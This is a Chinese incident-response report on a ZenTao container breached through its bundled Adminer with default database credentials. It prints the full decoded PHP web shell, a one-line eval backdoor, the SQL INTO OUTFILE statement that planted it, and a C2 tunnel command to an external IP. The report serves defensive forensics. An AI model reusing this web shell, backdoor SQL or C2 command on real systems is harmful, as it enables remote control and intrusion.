禅道(zentao)被入侵的相关信息

发现时间

最早发现是 2025-05-06 下午,发现 PVE 的香港出口带宽异常,接着发现跟 176.32.35.190 的 tcp 端口 8024 有大量的数据交互

然后在 2025-05-07 上午,用 docker exec -it zentao /bin/bash 进入容器,apt install psmisc,然后 pstree -a 才确认被入侵的。

zentao 容器内执行 pstree -a 输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
s6-svscan /etc/s6/s6-enable
|-s6-supervise 00-mysql
| `-mysqld_safe /opt/zbox/run/mysql/mysqld_safe ...
| `-mariadbd --defaults-file=/data/mysql/etc/my.cnf--basedir=/opt/zbox/run
| `-13*[{mariadbd}]
|-s6-supervise 02-sentry
| `-tail -f /tmp/sentry.log
|-s6-supervise 03-roadrunner
| `-rr serve -c /apps/zentao/roadrunner/.rr.yaml
| `-5*[{rr}]
|-s6-supervise 01-apache
| `-apachectl /opt/zbox/bin/apachectl -D FOREGROUND
| `-httpd -D FOREGROUND
| |-httpd -D FOREGROUND
| | `-sh -c ...
| | `-sh -c cd /tmp;./slix;echo 60b45fc9adc5;pwd;echo b0c6bc8c2
| | `-slix
| | |-sh
| | |-sh
| | |-sh
| | |-sh
| | |-sh
| | |-sh
| | |-sh
| | |-sh
| | |-sh
| | |-sh
| | |-sh
| | | `-scanb.sh ./scanb.sh
| | | `-fs -h 192.168.38.0/24 -o 192b.txt -t 5 -np ...
| | | `-8*[{fs}]
| | `-4*[{slix}]
| |-httpd -D FOREGROUND
| |-httpd -D FOREGROUND
| | `-sh -c...
| | `-sh -c...
| | `-ns -server=176.32.35.190:8024 -vkey=82yukro912ktndfc ...
| | `-11*[{ns}]
| |-httpd -D FOREGROUND
| |-httpd -D FOREGROUND
| |-httpd -D FOREGROUND
| |-httpd -D FOREGROUND
| |-httpd -D FOREGROUND
| |-httpd -D FOREGROUND
| |-httpd -D FOREGROUND
| |-httpd -D FOREGROUND
| |-httpd -D FOREGROUND
| `-httpd -D FOREGROUND
`-scanb.sh ./scanb.sh
`-fs -h 192.168.39.0/24 -o 192b.txt -t 5 -np
`-8*[{fs}]

对比一下正常的 pstree -a 的结果吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
s6-svscan /etc/s6/s6-enable
|-s6-supervise 00-mysql
| `-mysqld_safe /opt/zbox/run/mysql/mysqld_safe ...
| `-mariadbd --defaults-file=/data/mysql/etc/my.cnf--basedir=/opt/zbox/run
| `-7*[{mariadbd}]
|-s6-supervise 02-sentry
| `-run ./run
| `-sleep 4
|-s6-supervise 03-roadrunner
| `-run ./run
| `-sleep 1
`-s6-supervise 01-apache
`-apachectl /opt/zbox/bin/apachectl -D FOREGROUND
`-httpd -D FOREGROUND
|-httpd -D FOREGROUND
|-httpd -D FOREGROUND
|-httpd -D FOREGROUND
|-httpd -D FOREGROUND
`-httpd -D FOREGROUND

完了,确认被黑了。

zentao 容器内执行 ps auxww | grep ns 发现输出:

1
2
3
4
nobody   3084676  0.0  0.0   2480   516 ?        S    Apr23   0:00 sh -c /bin/sh -c "cd "/bin";/tmp/.1/ns -server=176.32.35.190:8024 -vkey=82yukro912ktndfc -type=tcp;echo dc721;pwd;echo 291d6457e" 2>&1
nobody 3084677 0.0 0.0 2480 524 ? S Apr23 0:00 /bin/sh -c cd /bin;/tmp/.1/ns -server=176.32.35.190:8024 -vkey=82yukro912ktndfc -type=tcp;echo dc721;pwd;echo 291d6457e
nobody 3084678 0.1 0.3 858416 55708 ? Sl Apr23 37:05 /tmp/.1/ns -server=176.32.35.190:8024 -vkey=82yukro912ktndfc -type=tcp
root 3098254 0.0 0.0 3240 648 pts/0 S+ 13:20 0:00 grep ns

zentao 容器内执行 ps auxww | grep slix 输出:

1
2
3
4
nobody    975792  0.0  0.0   2480   540 ?        S    Apr17   0:00 sh -c /bin/sh -c "cd "/tmp";./slix;echo 60b45fc9adc5;pwd;echo b0c6bc8c2" 2>&1
nobody 975793 0.0 0.0 2480 544 ? S Apr17 0:00 /bin/sh -c cd /tmp;./slix;echo 60b45fc9adc5;pwd;echo b0c6bc8c2
nobody 975794 0.0 0.0 5788 2936 ? Sl Apr17 23:43 ./slix
root 3141372 0.0 0.0 3240 648 pts/0 S+ 11:21 0:00 grep slix

应急处理

将被入侵容器 zentao 挪到 none 网络,然后将 zentao 容器改名

1
2
3
docker network disconnect chainless zentao
docker network connect none zentao
docker rename zentao zentao_hacked

继续分析

基本信息

zentao 容器:

  • ip: 172.16.0.2
  • image: easysoft/zentao:21.4
  • publish port: 8002

zentao 容器宿主机:

  • ip: 192.168.0.11 or 192.168.1.11

宿主机是一台 vm,宿主机是一台有着公网地址的物理及:PVE

  • ip:
    • a.a.a.a(香港线路接口 IP,缺省出口)
    • b.b.b.b(中国移动接口 IP)
    • 192.168.0.1 和 192.168.1.1(内部网桥 ip,所有 vm 都是接在网桥上的)
  • nginx
    • 做了个虚机 proxy_pass 到容器宿主机的 8002 端口,所以可以通过 PVE 的公网入口访问 zentao

whois 的信息(whois 176.32.35.190 的输出):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See https://docs.db.ripe.net/terms-conditions.html

% Note: this output has been filtered.
% To receive output for a database update, use the "-B" flag.

% Information related to '176.32.35.0 - 176.32.35.255'

% Abuse contact for '176.32.35.0 - 176.32.35.255' is '[email protected]'

inetnum: 176.32.35.0 - 176.32.35.255
netname: BX-NETWORK
country: RU
admin-c: DS9183-RIPE
tech-c: DS9183-RIPE
status: ASSIGNED PA
mnt-by: BX-NOC
created: 2017-12-13T12:29:22Z
last-modified: 2017-12-13T12:29:22Z
source: RIPE # Filtered

person: Dmitry Shilyaev
remarks: https://justhost.ru
address: Moscow, Russia
phone: +74956680903
nic-hdl: DS9183-RIPE
mnt-by: BX-NOC
created: 2011-11-03T08:14:05Z
last-modified: 2020-07-26T15:49:06Z
source: RIPE # Filtered

% Information related to '176.32.35.0/24AS51659'

route: 176.32.35.0/24
origin: AS51659
mnt-by: BX-NOC
created: 2017-12-13T12:30:03Z
last-modified: 2017-12-13T12:30:03Z
source: RIPE

% This query was served by the RIPE Database Query Service version 1.117 (BUSA)

容器宿主机上执行 docker inspect zentao | grep -i privileged,输出:

        "Privileged": false,

zentao_hacked(容器 zentao 改名来的) 容器内执行 ls -la /tmp 输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
total 22972
drwxrwxrwt 1 root root 4096 May 7 13:20 .
drwxr-xr-x 1 root root 4096 Feb 19 11:12 ..
drwxr-xr-x 2 nobody nogroup 4096 May 7 13:35 .1
-rw-r--r-- 1 nobody nogroup 674 Apr 16 14:47 .32915ant_x64.so
-rw-r--r-- 1 nobody nogroup 11565 Apr 21 11:34 12.txt
-rw-r--r-- 1 nobody nogroup 18911 Apr 23 17:27 192b.txt
-rw-r--r-- 1 nobody nogroup 81209 May 2 16:55 22.txt
drwxr-xr-x 3 nobody nogroup 4096 Apr 16 17:36 CVE-2021-22555-Exploit
-rw-rw---- 1 nobody nogroup 56 Apr 15 20:35 adminer.invalid
-rw-rw---- 1 nobody nogroup 401 Apr 20 12:21 adminer.version
-rwxr-xr-x 1 nobody nogroup 10137752 Feb 23 01:32 cdk_linux_386
-rwxrwxrwx 1 nobody nogroup 7100304 Apr 16 16:59 fs
-rw-r--r-- 1 nobody nogroup 268 Apr 16 14:47 gconv-modules
-rw-r--r-- 1 501 staff 15236 Jul 11 2024 package.xml
-rw------- 1 nobody nogroup 44113 Apr 23 10:54 phpx2lUxr
-rw-r--r-- 1 nobody nogroup 36381 Apr 20 17:20 result.txt
-rwxr-xr-x 1 nobody nogroup 4903024 Apr 20 16:00 rustscan
-rwxr-xr-x 1 nobody nogroup 1047 Apr 22 14:28 scanb.sh
-rw-r--r-- 1 root root 0 Feb 19 11:13 sentry.log
-rwxr-xr-x 1 nobody nogroup 1106480 Oct 13 2023 slix

可疑文件分析

zentao_hacked(容器 zentao 改名来的) 容器内执行 stat /tmp/phpx2lUxr 的输出:

File: /tmp/phpx2lUxr
Size: 44113 Blocks: 88 IO Block: 4096 regular file
Device: 5eh/94d Inode: 2374031 Links: 1
Access: (0600/-rw——-) Uid: (65534/ nobody) Gid: (65534/ nogroup)
Access: 2025-05-07 13:05:27.412000000 +0800
Modify: 2025-04-23 10:54:16.944000000 +0800
Change: 2025-04-23 10:54:16.944000000 +0800
Birth: 2025-04-23 10:54:16.944000000 +0800

/tmp/phpx2lUxr 文件太大,就不列内容了,但这是一个非常重要的文件,我们来分析一下这个文件吧

再弄个 python 程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# a.py
import base64
import urllib.parse

with open('phpx2lUxr', 'r') as f:
data = f.read()

# 拆分 key=value
for pair in data.split('&'):
if '=' in pair:
key, value = pair.split('=', 1)
# 先 URL 解码
value_decoded = urllib.parse.unquote(value)
# 尝试 base64 解码
try:
decoded = base64.b64decode(value_decoded).decode('utf-8')
# 如果解码后有明显 PHP 代码特征
if '<?php' in decoded or 'eval' in decoded or 'base64_decode' in decoded:
print(f'Key: {key}\nDecoded:\n{decoded}\n')
except Exception:
continue

执行:

1
python3 a.py

输出:

Key: bd87898bcbf27d
Decoded:
@ini_set(“display_errors”, “0”);@set_time_limit(0);$opdir=@ini_get(“open_basedir”);if($opdir) {$ocwd=dirname($_SERVER[“SCRIPT_FILENAME”]);$oparr=preg_split(base64_decode(“Lzt8Oi8=”),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item.”/.dd4073a3309”;@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set(“open_basedir”, “..”);$cntarr=@preg_split(“/\\|//“,$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir(“..”);};@ini_set(“open_basedir”,”/“);@rmdir($tmdir);break;};};;function asenc($out){return @base64_encode($out);};function asoutput(){$output=ob_get_contents();ob_end_clean();echo “67”.”035”;echo @asenc($output);echo “031”.”531”;}ob_start();try{$p=base64_decode(substr($_POST[“h82ad1117a8e69”],2));$s=base64_decode(substr($_POST[“h51d3ad7f0190a”],2));$envstr=@base64_decode(substr($_POST[“pb5f3a839543ad”],2));$d=dirname($_SERVER[“SCRIPT_FILENAME”]);$c=substr($d,0,1)==”/“?”-c "{$s}"“:”/c "{$s}"“;if(substr($d,0,1)==”/“){@putenv(“PATH=”.getenv(“PATH”).”:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin”);}else{@putenv(“PATH=”.getenv(“PATH”).”;C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;”);}if(!empty($envstr)){$envarr=explode(“|||asline|||”, $envstr);foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace(“|||askey|||”, “=”, $v));}}}$r=”{$p} {$c}”;function fe($f){$d=explode(“,”,@ini_get(“disable_functions”));if(empty($d)){$d=array();}else{$d=array_map(‘trim’,array_map(‘strtolower’,$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runshellshock($d, $c) {if (substr($d, 0, 1) == “/“ && fe(‘putenv’) && (fe(‘error_log’) || fe(‘mail’))) {if (strstr(readlink(“/bin/sh”), “bash”) != FALSE) {$tmp = tempnam(sys_get_temp_dir(), ‘as’);putenv(“PHP_LOL=() { x; }; $c >$tmp 2>&1”);if (fe(‘error_log’)) {error_log(“a”, 1);} else {mail(“a@127.0.0.1“, “”, “”, “-bv”);}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != “”) {print($output);return True;}}return False;};function runcmd($c){$ret=0;$d=dirname($_SERVER[“SCRIPT_FILENAME”]);if(fe(‘system’)){@system($c,$ret);}elseif(fe(‘passthru’)){@passthru($c,$ret);}elseif(fe(‘shell_exec’)){print(@shell_exec($c));}elseif(fe(‘exec’)){@exec($c,$o,$ret);print(join(“
“,$o));}elseif(fe(‘popen’)){$fp=@popen($c,’r’);while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}elseif(fe(‘proc_open’)){$p = @proc_open($c, array(1 => array(‘pipe’, ‘w’), 2 => array(‘pipe’, ‘w’)), $io);while(!@feof($io[1])){print(@fgets($io[1],2048));}while(!@feof($io[2])){print(@fgets($io[2],2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);}elseif(fe(‘antsystem’)){@antsystem($c);}elseif(runshellshock($d, $c)) {return $ret;}elseif(substr($d,0,1)!=”/“ && @class_exists(“COM”)){$w=new COM(‘WScript.shell’);$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$se=$e->StdErr();$ret.=$se->ReadAll();print($ret);}else{$ret = 127;}return $ret;};$ret=@runcmd($r.” 2>&1”);print ($ret!=0)?”ret={$ret}”:””;;}catch(Exception $e){echo “ERROR://“.$e->getMessage();};asoutput();die();

把 php 代码格式化后,得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){
continue;
};
$tmdir=$item."/.dd4073a3309";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\|\//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);
break;
};
};
;
function asenc($out){
return @base64_encode($out);
};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "67"."035";
echo @asenc($output);
echo "031"."531";
}
ob_start();
try{
$p=base64_decode(substr($_POST["h82ad1117a8e69"],2));
$s=base64_decode(substr($_POST["h51d3ad7f0190a"],2));
$envstr=@base64_decode(substr($_POST["pb5f3a839543ad"],2));
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{
$s
}
\"":"/c \"{
$s
}
\"";
if(substr($d,0,1)=="/"){
@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
}else{
@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
if(!empty($envstr)){
$envarr=explode("|||asline|||", $envstr);
foreach($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v));
}
}
}
$r="{
$p}
{
$c}
";
function fe($f){
$d=explode(",",@ini_get("disable_functions"));
if(empty($d)){
$d=array();
}else{
$d=array_map('trim',array_map('strtolower',$d));
}
return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
};
function runshellshock($d, $c) {
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() {x;};$c >$tmp 2>&1");
if (fe('error_log')) {
error_log("a", 1);
} else {
mail("[email protected]", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print($output);
return True;
}
}
return False;
}
;
function runcmd($c){
$ret=0;
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
if(fe('system')){
@system($c,$ret);
}elseif(fe('passthru')){
@passthru($c,$ret);
}elseif(fe('shell_exec')){
print(@shell_exec($c));
}elseif(fe('exec')){
@exec($c,$o,$ret);
print(join("",$o));
}elseif(fe('popen')){
$fp=@popen($c,'r');
while(!@feof($fp)){
print(@fgets($fp,2048));
}
@pclose($fp);
}elseif(fe('proc_open')){
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while(!@feof($io[1])){
print(@fgets($io[1],2048));
}
while(!@feof($io[2])){
print(@fgets($io[2],2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
}elseif(fe('antsystem')){
@antsystem($c);
}elseif(runshellshock($d, $c)) {
return $ret;
}elseif(substr($d,0,1)!="/" && @class_exists("COM")){
$w=new COM('WScript.shell');
$e=$w->exec($c);
$so=$e->StdOut();
$ret.=$so->ReadAll();
$se=$e->StdErr();
$ret.=$se->ReadAll();
print($ret);
}else{
$ret = 127;
}
return $ret;
}
;
$ret=@runcmd($r." 2>&1");
print ($ret!=0)?"ret={$ret}":"";
;
}
catch(Exception $e){
echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

找到一个后门:/apps/zentao/config/config.php,权限 777,最后一句:

1
@eval($_POST['nasik1']);

执行 stat config/config.php,输出:

File: config/config.php
Size: 16600 Blocks: 40 IO Block: 4096 regular file
Device: 5eh/94d Inode: 2374867 Links: 1
Access: (0777/-rwxrwxrwx) Uid: (65534/ nobody) Gid: (65534/ nogroup)
Access: 2025-05-13 12:51:49.652000000 +0800
Modify: 2025-04-16 13:08:56.368000000 +0800
Change: 2025-04-16 13:08:56.368000000 +0800
Birth: 2025-02-19 14:01:10.416000000 +0800

继续漏洞分析

这个版本的禅道自带 adminer(版本 4.8.2-dev),这个是我到代码目录下才看见的。我找了找 adminer 的漏洞,很容易就找到一个,但是这个漏洞的利用必须得先要

  1. 有能登录数据库的账号密码
  2. 这个数据库账号还需要有 FILE 权限

而恰好,当时跑 zentao 之后第一次安装时,数据库设置选的缺省的账号密码,本来缺省的也没事,毕竟数据库只能本地连,但 adminer 一下子又让 web 可以访问,于是,web 也就能连数据库了,再加上还是缺省账号密码,于是就能 web 登录数据库了,然后缺省账号密码权限还很高,于是直接就能写后门了。

至于前面看到的 /apps/zentao/config/config.php 里最后的一句:

1
@eval($_POST['nasik1']);

都是在 adminer 中登录数据库以后,执行 sql 语句:

1
SELECT "@eval(\$_POST['nasik1']);" INTO OUTFILE '/apps/zentao/config/config.php'

生成的。

在 zentao 的日志里发现了关键几句:

1
2
3
4
192.168.0.1 - - [15/Apr/2025:15:58:43 +0800] "POST /adminer/index.php HTTP/1.0" 302 - "https://api-devnet.chainless.top:8002/adminer/index.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
192.168.0.1 - - [15/Apr/2025:15:58:44 +0800] "GET /adminer/index.php?username=root&db=zentao HTTP/1.0" 403 4673 "https://api-devnet.chainless.top:8002/adminer/index.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
192.168.0.1 - - [15/Apr/2025:15:58:44 +0800] "GET /adminer/index.php?file=functions.js&version=4.8.2-dev HTTP/1.0" 200 27548 "https://api-devnet.chainless.top:8002/adminer/index.php?username=root&db=zentao" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
192.168.0.1 - - [15/Apr/2025:15:58:45 +0800] "GET /adminer/index.php?file=favicon.ico&version=4.8.2-dev HTTP/1.0" 200 318 "https://api-devnet.chainless.top:8002/adminer/index.php?username=root&db=zentao" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"

由上可以看出,黑客是 15/Apr/2025:15:58:44 +0800 开始进来的。但是前面看 /apps/zentao/config/config.php16/Apr/2025 被植入后门的。但我在那个时间没有抓到有力证据有写入 config.php 的操作。

后续操作

另外用禅道官方最新的 image easysoft/zentao:21.6 和之前的持久化的数据,删了些东西,重建了一个容器:zentao,publish 到 8001 端口,现在用宿主机的 内网 IP 可以访问。

随后会创建网络 ACL,据掉从 192.168.0.0/23(PVE) 到 192.168.2.0/23(深圳办公室) 的主动访问请求。

异常文件分析

以下为容器内 /tmp 目录下的关键异常文件:

  1. **/tmp/phpx2lUxr**:

    • MD50a525dab9878c80373399c1ed0f7b8d6
    • 创建时间:2025年4月23指的是什么?4月23日
    • 分析:文件内容为base64编码字符串,解码后疑似为加密的恶意脚本或payload。由于文件过大,未直接包含在报告中。初步分析表明其可能为攻击者植入的加密后门或下载器,用于动态加载其他恶意代码。
    • 作用:可能作为初始植入点或后续恶意代码的加载器。
  2. **/tmp/.1/ns**:

    • MD5dd1c4358c778d3f1161266fa0d81e8cc
    • 描述:位于隐藏目录 /tmp/.1 中,可执行二进制文件,负责C2通信。
  3. **/tmp/slix**:

    • MD5cbd49e364bac69eb77813435e5c18365
    • 描述:可执行文件,负责协调网络扫描和脚本执行。
  4. 其他文件

    • /tmp/fs:网络扫描工具,配合 scanb.sh 使用。
    • /tmp/rustscan:快速端口扫描工具。
    • /tmp/cdk_linux_386:疑似漏洞利用或恶意二进制文件。
    • /tmp/.32915ant_x64.so/tmp/gconv-modules:可能的恶意动态库。
    • /tmp/adminer.invalid/tmp/adminer.version:与Adminer数据库管理工具相关,暗示可能的web攻击向量。
    • /tmp/CVE-2021-22555-Exploit:目录名指向Linux内核提权漏洞(CVE-2021-22555),表明攻击者尝试提权。

攻击者基础设施

  • IP地址176.32.35.190
  • 归属:俄罗斯,BX-NETWORK(AS51659),托管商Baxet.ru,滥用联系邮箱 [email protected]
  • 作用:C2服务器,接收 ns 进程的通信,控制恶意活动。
  • 证据:网络流量分析显示 176.32.35.190:8024 为主要外部通信目标,ns 进程的 -vkey=82yukro912ktndfc 参数表明存在身份验证机制。

入侵时间线

  • **2025 年 4 月 15 日:应该就被入侵(通过 adminer 进来了)
  • 2025年4月15–23日:恶意文件(slixnsphpx2lUxr 等)陆续出现,slix 进程最早于4月17日启动,表明入侵可能发生于4月中旬。
  • 2025年4月23日ns 进程启动,与C2服务器建立连接。
  • 2025年5月6日:检测到PVE香港出口带宽异常,初步定位为 176.32.35.190:8024 的流量。
  • 2025年5月7日:通过 pstree -a 确认容器内存在异常进程,正式确认入侵。

可能攻击向量

  • ZenTao漏洞easysoft/zentao:21.4 或其Adminer组件可能存在远程代码执行(RCE)、文件上传或其他web漏洞,导致初始访问。
  • Web暴露:容器通过PVE主机的Nginx代理暴露端口 8002,若未配置强认证或WAF,可能被外部直接攻击。
  • 提权尝试/tmp/CVE-2021-22555-Exploit 表明攻击者尝试利用Linux内核漏洞提权,但 docker inspect 显示容器非特权模式("Privileged": false),限制了提权影响。
  • 用户权限:恶意进程以 nobody 用户运行,与ZenTao的Apache默认用户一致,暗示攻击通过web漏洞获得容器内执行权限。

事件影响

  • 容器妥协zentao 容器完全被入侵,运行恶意进程并与C2服务器通信。
  • 网络扫描:攻击者扫描内网网段 192.168.0.0/16172.24.0.0/16,可能收集了网络拓扑或其他设备信息。
  • 数据泄露风险ns 进程与C2服务器的通信,可能导致敏感数据(如ZenTao数据库内容)外泄或接收恶意指令。
  • 主机安全:暂无证据显示PVE主机或其他虚拟机受损,但内网扫描行为增加了横向移动风险。

结论

zentao 容器于2025年4月中旬通过可能的web漏洞被入侵,攻击者植入恶意文件(slixnsphpx2lUxr 等),执行网络扫描和C2通信。入侵持续约20天,直至2025年5月6日因带宽异常暴露。应急隔离措施已生效,建议进一步分析日志、恶意文件,重建干净的ZenTao服务,并检查内网其他系统是否受影响。